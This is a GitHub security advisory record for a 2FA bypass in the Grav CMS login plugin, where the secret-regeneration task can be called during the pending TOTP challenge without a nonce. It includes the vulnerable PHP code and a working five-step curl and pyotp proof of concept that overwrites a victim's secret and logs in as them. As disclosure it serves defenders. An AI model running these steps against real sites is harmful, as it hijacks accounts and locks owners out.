{"id":"GHSA-7mgc-c7pq-3rr3","summary":"Grav: 2FA Bypass via 'login.regenerate2FASecret' - Secret Rotation During Pending Challenge","details":"### Summary\nWhen 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the `login.regenerate2FASecret` task which requires only `$user-\u003eexists()`, not `$user-\u003eauthorized`  can be called without a CSRF nonce. It overwrites the victim's `twofa_secret` on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is **reduced to password-only**. The exploit was confirmed live after enabling 2FA to a user.\n\n### Details\nFour code locations in login plugin v3.8.10 enable the chain:\n\n**1. Session user set even with 2FA pending**  \n`user/plugins/login/login.php` - `userLogin()` assigns `$session-\u003euser = $user` before TOTP verification completes. This makes `$this-\u003egrav['user']` point to the victim in the pending-challenge window.\n\n**2. `taskRegenerate2FASecret` - no authorization check**  \n`user/plugins/login/classes/Controller.php`\n\n```php\npublic function taskRegenerate2FASecret()\n{\n    $user = $this-\u003egrav['user'];\n    if ($user-\u003eexists()) {                  // ← only checks exists(), NOT authorized()\n        $secret = $twoFa-\u003ecreateSecret();\n        $user-\u003etwofa_secret = $secret;      // overwrites victim's secret on disk\n        $user-\u003esave();\n        $json_response = [\n            'status' =\u003e 'success',\n            'image' =\u003e $image,\n            'secret' =\u003e trim(preg_replace('|(\\w{4})|', '\\\\1 ', $secret)) // ← returned to attacker\n        ];\n    }\n}\n```\n\n**3. No CSRF nonce required**  \n`user/plugins/login/login.php` - the task dispatch switch only validates `twofa_cancel` for nonce. `regenerate2FASecret` is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.\n\n### PoC\n**Confirmed live** on this instance after enabling `plugins.login.twofa_enabled: true` and configuring TOTP on the `user` account.\n\n```bash\n# Step 1: Password-only login (lands in 2FA-pending; keep session cookie)\nLOGIN_PAGE=$(curl -s -c /tmp/2fa.jar \"http://127.0.0.1/grav/login\")\nNONCE=$(echo \"$LOGIN_PAGE\" | grep -oP 'name=\"login-form-nonce\" value=\"\\K[^\"]+')\ncurl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \\\n  \"http://127.0.0.1/grav/login\" \\\n  -d \"username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}\"\n\n# Step 2: Regenerate the 2FA secret (NO nonce required)\ncurl -s -b /tmp/2fa.jar \\\n  \"http://127.0.0.1/grav/login/task:login.regenerate2FASecret\"\n# {\"status\":\"success\",\"secret\":\"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5\",...}\n\n# Step 3: Compute TOTP from the attacker-chosen secret\npython3 -c \"import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())\"\n# 152656\n\n# Step 4: Complete 2FA with attacker's TOTP code\ncurl -s -L -b /tmp/2fa.jar -X POST \"http://127.0.0.1/grav/login\" \\\n  -d \"task=login.twofa&2fa_code=152656\"\n\n# Step 5: Verify - fully authenticated as victim\ncurl -s -b /tmp/2fa.jar \"http://127.0.0.1/grav/\" | grep -o 'Grav User\\|Logout'\n# Grav User Logout\n```\n\n### Impact\nComplete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via `$user-\u003esave()`, locking them out of their own account.\n\nThe endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting `http://target/login/task:login.regenerate2FASecret` on any attacker-controlled page would have their 2FA secret silently rotated.","aliases":["CVE-2026-62232","CVE-2026-62669"],"modified":"2026-09-02T22:15:06.056087961Z","published":"2026-09-02T22:01:25Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-09-02T22:01:25Z","nvd_published_at":"2026-08-19T16:18:19Z","cwe_ids":["CWE-287"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-7mgc-c7pq-3rr3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62669"},{"type":"WEB","url":"https://github.com/getgrav/grav-plugin-login/commit/5d1b722298cb947d8f434025d121b99152a2c630"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"},{"type":"WEB","url":"https://github.com/getgrav/grav-plugin-login/releases/tag/3.8.11"},{"type":"WEB","url":"https://github.com/getgrav/grav/releases/tag/2.0.4"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.4"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0","2.0.0-beta.1","2.0.0-beta.2","2.0.0-beta.3","2.0.0-beta.4","2.0.0-rc.1","2.0.0-rc.10","2.0.0-rc.2","2.0.0-rc.3","2.0.0-rc.4","2.0.0-rc.5","2.0.0-rc.6","2.0.0-rc.7","2.0.0-rc.8","2.0.0-rc.9","2.0.1","2.0.2","2.0.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-7mgc-c7pq-3rr3/GHSA-7mgc-c7pq-3rr3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}